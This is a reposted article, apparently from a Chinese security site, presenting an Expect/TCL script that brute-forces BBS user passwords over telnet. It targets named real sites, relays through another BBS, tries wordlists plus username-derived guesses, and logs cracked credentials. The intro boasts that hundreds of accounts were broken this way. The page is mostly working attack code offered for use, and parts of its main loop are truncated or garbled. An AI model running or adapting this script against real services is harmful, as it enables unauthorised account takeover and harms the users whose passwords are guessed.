首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
用expect写的bbs猜密码工具
来源:vfocus.net 作者:不详 发布时间:2004-04-21  

用expect写的bbs猜密码工具

转自论坛,作者未知,Sorry

在广州蓝天和网易做了一下测试,用诸如1234,123456,654321之类的password都可以试出几百个帐号。过程是这样的:先在目标站点的合法用户列表中把用户的名字存到文件中。然后通过其他站点的bbs转接功能,连接目标站点。展开工作。(这说明bbs站把所有用户列表列出来,是个不安全的做法)

  bbs的转接功能提供了方便
  expect是TCL语言的一个扩展,在许多平台都有实现,可以去网上找。
  例如winnt,win2000,和linux 本例用的是win2000平台下,
如果要用在linux,把文件的路径改成linux下的路径就可以用了把sendlist中的YOURNAME,和PASSWORD改成你自己的登陆用户。

下面是代码:
##cut here###################################
###-----------------------------------------------------------------##
###参量设置
###参量说明:HostName要登陆的机器;userfile用户列表
# wordfile密码列表 logfile结果记录
# offsetfile用户文件当前偏移量
###-----------------------------------------------------------------###
set HostName "bbs.gznet.com"
set userfile "C:\\Program
Files\\Expect-5.21\\script\\nease\\user-nease.txt"
set wordfile "C:\\Program
Files\\Expect-5.21\\script\\word.txt"
set logfile "C:\\Program
Files\\Expect-5.21\\script\\nease\\log-nease.txt"
set offsetfile "C:\\Program
Files\\Expect-5.21\\script\\nease\\offset.txt"
###-----------------------------------------------------------------###
#Action函数输入expect列表和send列表,然后完成动作过程
#成功返回1,超时返回-1
###----------------------------------------------------------------###
proc Action {ExpectList SendList} {
set listlength [llength $ExpectList];
if {$listlength!=[llength $SendList]} {
puts "the expectlist !=sendlist";
exit 0;}
for {set i 0} {$i<$listlength} {incr i} {
expect {
[lindex $ExpectList $i] {send [lindex $SendList $i];}
timeout {return -1}
}
}
return 1
}
###-----------------------------------------------------------------###
#MyTrap函数在程式被中断时的工作
###-----------------------------------------------------------------###
proc MyTrap {} {
global userfileid
global wordfileid
close $userfileid;
Reset;
exit
}
###-----------------------------------------------------------------###
#SaveToLog函数将猜中的用户和密码保存到文件
###-----------------------------------------------------------------###
proc SaveToLog {user word} {
global logfile
set logfileid [open $logfile a 0600]
puts $logfileid "user=$user password=$word";
close $logfileid;
}
###-----------------------------------------------------------------###
#QuitBbs函数是离开bbs,超时未能离开时,reset,然后返回 -1
###-----------------------------------------------------------------###
proc QuitBbs {} {
send "\r";
expect {
"..." { send "\r\r\r\r\rg\r";
send "!\r\n!\r\n!\r\n!\r\n!\r\n";
} #"!\r\n"是快速离站字符。
timeout {Reset;return -1}
}
}
###-----------------------------------------------------------------###
#Reset函数将旧的进程杀掉,并等待其结束后返回
###-----------------------------------------------------------------###
proc Reset {} {
global pid;
exp_kill $pid;
expect eof;
wait -1;
}
###-----------------------------------------------------------------###
#Breakinto函数,暴力破解
###-----------------------------------------------------------------###
proc Breakinto {user wordlist index} {
expect {
"):" {send "$user\r";}
"Connection closed by foreign host" {return 0} #返回0值,说明被正常关闭连接
timeout {Reset;return -1}
}
expect {
"错误的使用者" { send "\r\r"; return 1}
"请输入密码:" { send "[lindex $wordlist $index]\r";}
timeout { Reset;return -1}
}
expect {
"密码输入错误" { return [Breakinto $user $wordlist [expr $index+1]];
#这里是个递归过程
}
"ENTER" { SaveToLog $user [lindex $wordlist $index]; #猜中后,保存
QuitBbs; #并使该用户离开bbs站
return 1
}
timeout {Reset;return -1}
}
}
###-----------------------------------------------------------------###
#TryToLogin函数 从XX bbs站转接到XX站
###-----------------------------------------------------------------###
proc TryToLogin {user wordlist index} {
expect {
"返回)" { send "15\r";} #这是蓝天到东莞的BBS连接服务
timeout { Reset;return -1;}
}
return [Breakinto $user $wordlist $index];
}
###-----------------------------------------------------------------###
#Go函数是暴力破解的循环主体
#发动过程是:调用TryToLogin函数从XX站的bbs网络连接,循环地用不同用户去连接XX站
#凡是返回-1值,就说明有错,就reset
###-----------------------------------------------------------------###
proc Go {userfileid wordlist} {
global offsetfile
set flag 0;
while {[gets $userfileid user]>0} {
#记录用户文件的偏移量
set offsetfileid [open $offsetfile w 0600]
puts $offsetfileid [tell $userfileid]
flush $offsetfileid
close $offsetfileid
#生成username+123和username+111的密码
set word1 [join [concat $user "123"] ""];
set word2 [join [concat $user "111"] ""];
set tempwordlist [linsert $wordlist 0 $word1 $word2];
set index 0;
while {1} {
set flag [TryToLogin $user $tempwordlist $index];
if {$flag!=0} break;
set index [expr $index+3]
if {$index>[llength $tempwordlist]} break;
}
if {$flag==-1} {return 0;}
}
return 1;
}
###-----------------------------------------------------------------###
### main函数
###-----------------------------------------------------------------###
#进入蓝天站的响应列表
set expectlistGZ [list "):" ":" "ENTER" "..." "上次连线" "..."
"精华公布" "请选代号"];
set sendlistsGZ [list "YOURNAME\r" "PASSWORD\r" " \r" "\r"
"\r" "\r" "s\r" "2\r"];
###-----------------------------------------------------------------###
#进入东莞站的响应列表
set expectlistDG [list "login:" "):" ":" "ENTER" "..." "..."
"上次连线" "..." "(G)oodBye" ];
set sendlistDG [list "bbs\r" "YOURNAME\r" "PASSWORD\r" "\r"
"\r" "\r" "\r" "\r"
"\033\###-----------------------------------------------------------------###
#打开用户文件和密码文件
set userfileid [open $userfile r 0600]
set wordfileid [open $wordfile r 0600]
#读出密码文件,生成密码列表wordlist
foreach word [split [read $wordfileid] \n] {
lappend wordlist $word;
}
close $wordfileid;
#读出用户文件偏移量,并使文件指针指到偏移量处
set offsetfileid [open $offsetfile r 0600]
gets $offsetfileid Offset
seek $userfileid $Offset start
close $offsetfileid
set timeout 15
set pid 0; #spawn出来的进程id,在Reset函数中有调用到
trap MyTrap {SIGINT SIGTERM}
while {1} {
set pid [spawn telnet $HostName]
expect {
"广州蓝天站欢迎你" { if {#Action返回-1说明登陆时超时失败,要reset,然后再循环
timeout { Reset;continue} #连接超时要reset,然后循环
}
expect {
"Escape character" { if {#Action返回-1说明登陆时超时失败,要reset,然后再循环
timeout { Reset;continue} #连接超时要reset,然后循环
}
if {[Go $userfileid $wordlist]} break; #进入站后开始猜密码
}
puts "ok!"
####cut here#######################
我要赶快把自己帐号的密码改长一点了。



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·Hook 系统服务隐藏端口
·建造永不被杀的80端口后门
·Discuz!跨站大全
·如何把ASP编写成DLL
·SQL注入的不常见方法
·入侵www.cnwill.com
·动网论坛上传文件漏洞的原理以及
·PHP配置漏洞攻击
·通过乔客(Joekoe)看过滤空格的突
·跨越FSO,WSH写文件
·免FSO的CMD.ASP带回显
·绕过Windows Rootkit检测系统
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved